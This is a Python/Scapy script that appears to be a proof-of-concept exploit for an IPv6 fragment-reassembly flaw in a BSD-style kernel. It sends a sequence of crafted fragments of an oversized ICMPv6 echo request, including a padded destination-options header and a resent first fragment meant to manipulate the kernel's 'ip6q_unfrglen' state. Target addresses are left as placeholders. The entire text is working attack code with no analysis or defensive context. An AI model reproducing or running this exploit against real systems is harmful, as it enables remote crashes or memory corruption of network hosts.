# This software is licensed under the GNU Affero General Public License (AGPL) version 3.0 or later.
# For more details, see <https://www.gnu.org/licenses/agpl-3.0.html>.
 
from scapy import all as sp
import sys
import random as rn

iface = sys.argv[1]

src_mac = sp.get_if_hwaddr(iface)
dst_mac = "XXX"
src_ip = "XXX"
dst_ip = "XXX"

eth = sp.Ether(src=src_mac, dst=dst_mac)
p6 = sp.IPv6(src=src_ip, dst=dst_ip)
frag_size = 0x500

ident = rn.randint(0, 0x1_0000)
data = 'a' * (0xffff - 8)
orig_p6 = (p6 / sp.ICMPv6EchoRequest(id=ident, data=data)).build()
orig_p6 = sp.IPv6(orig_p6)

# payload
pl = orig_p6[1]
pl_size = len(pl)
pl_buf = pl.build()
num_frag = pl_size // frag_size
# last fragment
lfrag_size = pl_size % frag_size
print(pl, pl_size, num_frag, lfrag_size)

fragh = sp.IPv6ExtHdrFragment(m=1, id=ident, nh=orig_p6.nh)

def frag(to_frag, offset, size):
    return to_frag[offset : offset + size]

def send_frag(payload, offset, m, mid=None):
    fragh.m = m
    fragh.offset = offset
    pkt = eth / p6
    if mid is not None:
        pkt /= mid
    pkt /= fragh / payload
    sp.sendp(pkt, iface=iface, count=1, verbose=0)

fm = 1
for i in range(num_frag):
    if not lfrag_size and i == num_frag - 1:
        # last index
        li = i
        continue

    foff = i * frag_size // 8
    frag_pl = frag(pl_buf, i*frag_size, frag_size)

    if i == 0:
        # q6->ip6q_unfrglen > 0
        send_frag(frag_pl, foff, fm, sp.IPv6ExtHdrDestOpt(options=sp.PadN(optdata=b'\x00'*100)))
        continue

    send_frag(frag_pl, foff, fm)

# update q6->ip6q_unfrglen while keeping ip6af_offset of the first fragment
# unchanged
frag_pl = frag(pl_buf, 0, frag_size)
send_frag(frag_pl, 0, 1)

if lfrag_size:
    li = num_frag

fm = 0
foff = frag_size * li // 8
frag_pl = frag(pl_buf, li*frag_size, lfrag_size)

send_frag(frag_pl, foff, fm)